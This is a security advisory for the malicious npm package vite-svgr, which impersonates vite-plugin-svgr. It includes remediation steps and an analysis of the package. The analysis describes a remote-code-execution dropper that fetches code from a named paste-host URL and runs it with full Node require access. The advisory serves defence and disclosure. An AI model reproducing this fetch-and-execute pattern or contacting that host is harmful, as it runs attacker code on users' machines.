MAL-2026-5708 Malicious code in vite-svgr (npm)
Malicious package
Published
MAL-2026-5708 is a malicious package: vite-svgr (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-5708/ (Markdown: https://insights.sbomify.com/MAL-2026-5708/index.md)
- Package
- vite-svgr
- Registry
- npm
What is MAL-2026-5708?
MAL-2026-5708 is a malicious package in vite-svgr, published on 12 Jun 2026.
Official description
Package name
vite-svgr impersonates the popular vite-plugin-svgr, but the shipped code is a fork of tsconfig-paths (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } }) and then runs the response body's Cookie field via new Function('require', s)(require) — arbitrary JavaScript with full Node require access executed under the installer's user. The code is reachable from the package's main via the exported configJson(...), which spawns node lib/mapProps.js detached, so any consumer that imports this package and calls configJson triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.What should I do about MAL-2026-5708?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.